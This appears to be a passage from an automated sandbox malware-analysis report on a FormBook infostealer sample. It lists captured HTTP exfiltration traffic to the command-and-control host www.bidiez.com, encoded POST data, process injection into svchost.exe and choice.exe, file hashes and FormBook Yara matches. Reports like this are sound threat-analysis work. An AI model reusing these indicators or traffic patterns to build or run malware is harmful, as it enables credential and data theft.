Nov 6, 2024 15:26:17.653306007 CET	1778	OUT	POST /01ng/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bidiez.com Referer: http://www.bidiez.com/01ng/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4f 49 69 61 5a 4b 7a 75 36 7a 7a 4f 2b 52 50 4c 64 4c 51 4c 34 52 4f 46 57 6f 4d 37 2f 37 65 52 46 50 78 52 38 6e 63 48 73 69 72 4b 65 30 50 55 70 6f 69 6d 4a 64 6e 30 59 56 63 62 75 52 76 6d 5a 4b 59 56 4f 4c 74 65 4f 79 34 37 71 33 54 55 64 4a 62 73 6e 45 2f 7a 31 72 32 58 52 75 49 31 6f 64 68 4a 50 78 33 5a 70 52 6e 2f 39 45 37 31 33 78 63 59 4d 36 43 37 74 71 38 6d 6c 4c 71 49 42 58 42 45 48 66 42 30 31 52 71 48 45 43 76 65 49 34 4b 50 41 77 78 58 34 38 6f 74 4b 5a 37 73 2f 77 43 4e 49 6d 53 69 54 7a 4f 2b 6d 4d 6c 79 5a 37 63 65 44 44 53 36 54 34 4c 54 6c 6c 62 50 55 59 4b 48 67 76 6e 48 64 53 43 76 42 59 4d 6b 68 70 6c 36 44 66 50 6e 54 55 61 30 57 46 6d 45 4d 36 36 4f 4c 4f 6b 41 4b 37 6d 67 4e 67 51 49 4b 58 2b 62 4b 44 61 39 66 79 76 55 35 6b 48 31 69 38 39 53 7a 50 55 48 71 4a 30 39 4c 4a 48 5a 79 6e 66 67 67 66 33 35 74 71 6a 2b 65 54 57 63 32 75 6a 57 70 78 77 61 79 78 4f 61 6d 6e 61 34 4d 32 53 67 63 61 5a 62 75 5a 67 58 74 42 4f 6a 53 6e 6c 7a 38 34 58 66 66 7a 2b 32 32 53 5a [TRUNCATED] Data Ascii: pP=OIiaZKzu6zzO+RPLdLQL4ROFWoM7/7eRFPxR8ncHsirKe0PUpoimJdn0YVcbuRvmZKYVOLteOy47q3TUdJbsnE/z1r2XRuI1odhJPx3ZpRn/9E713xcYM6C7tq8mlLqIBXBEHfB01RqHECveI4KPAwxX48otKZ7s/wCNImSiTzO+mMlyZ7ceDDS6T4LTllbPUYKHgvnHdSCvBYMkhpl6DfPnTUa0WFmEM66OLOkAK7mgNgQIKX+bKDa9fyvU5kH1i89SzPUHqJ09LJHZynfggf35tqj+eTWc2ujWpxwayxOamna4M2SgcaZbuZgXtBOjSnlz84Xffz+22SZNHcwIIY0zUxxXfR1bXLUApeOnC9LuzCm0XPSAPv8jg0jm0kmiNdcmhRFw7Q7tVWfa6nw/a3YqRmSPyYyGzkEvKvaKz6IwVKePX4N+S9Z8/qD16Tu5RvkYknIUdAy/5XvrdnbF78bVMYxiQRZawDri2CWGZ+rLv/UDYErnJiy6EB9NML15S9lYB9dHOjLAZ1e41O9iIj/K7gzXXKQ8bRc/6PPIooxZKy1jN2j98gSpmZnpWuZLdOKYVSvS2ruwusEb2wsqR2hO8tlPUhJWQxX7+IVOGQ3abpNwaZhGStHGqeiKZ/JxgHoi33CofbrF+QJno5GHMSejAwSFhGj8bD1RLt1sXA5B8yfci8wfyPmoXi9mE1JltDdq5hKwGKncHkWvUktpdJU1rx0StmOfqKotED01jaxvGzcAw5YaPkntte+trs6IvZ65hBHSpIoVvIgMu0DFJKiNxvLUiT+RbGxbQgE7bS1FXqGvqfdpRvI2hksCUhGXOtmcgI9M2DloWaXC6wPn6vYqHJsbhp55lBKvRUqLDepqACN47lMU2/rZufwklCH3j2YmY9PiOb3UV3jW+NmvzVnIBe9cBJPdnEL/skQD8SN3kXpw7QfOpIURJVA3nzEK3VHmxndFSPq29RvYc+RzNT1hrjXubBKw6ayyJl7jSQfb6Zjr0 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49749	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:20.195993900 CET	486	OUT	GET /01ng/?pP=DKK6a8PuthPc5ErrRrUbqhrmbP0bjeSkTcQU4x169SXHcyb2o6vFTIaCYUtclW/lDJA6K99MZF0w0Rv4V8fYsQ/Owb2oIOoLiZkxZhnBqViSzSDNrw==&UJO=A6MH4FUp HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:26:20.828954935 CET	387	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 14:26:20 GMT Content-Type: text/html Content-Length: 247 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 3d 44 4b 4b 36 61 38 50 75 74 68 50 63 35 45 72 72 52 72 55 62 71 68 72 6d 62 50 30 62 6a 65 53 6b 54 63 51 55 34 78 31 36 39 53 58 48 63 79 62 32 6f 36 76 46 54 49 61 43 59 55 74 63 6c 57 2f 6c 44 4a 41 36 4b 39 39 4d 5a 46 30 77 30 52 76 34 56 38 66 59 73 51 2f 4f 77 62 32 6f 49 4f 6f 4c 69 5a 6b 78 5a 68 6e 42 71 56 69 53 7a 53 44 4e 72 77 3d 3d 26 55 4a 4f 3d 41 36 4d 48 34 46 55 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP=DKK6a8PuthPc5ErrRrUbqhrmbP0bjeSkTcQU4x169SXHcyb2o6vFTIaCYUtclW/lDJA6K99MZF0w0Rv4V8fYsQ/Owb2oIOoLiZkxZhnBqViSzSDNrw==&UJO=A6MH4FUp"}</script></head></html>

Target ID:	0
Start time:	09:23:17
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\2rI5YEg7uo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2rI5YEg7uo.exe"
Imagebase:	0x400000
File size:	1'311'705 bytes
MD5 hash:	E2560D29E3997021600BEC5FB7E2478C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:23:19
Start date:	06/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2rI5YEg7uo.exe"
Imagebase:	0x9d0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:23:40
Start date:	06/11/2024
Path:	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe"
Imagebase:	0x870000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	09:23:42
Start date:	06/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\choice.exe"
Imagebase:	0x30000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	09:23:54
Start date:	06/11/2024
Path:	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe"
Imagebase:	0x870000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	09:24:06
Start date:	06/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true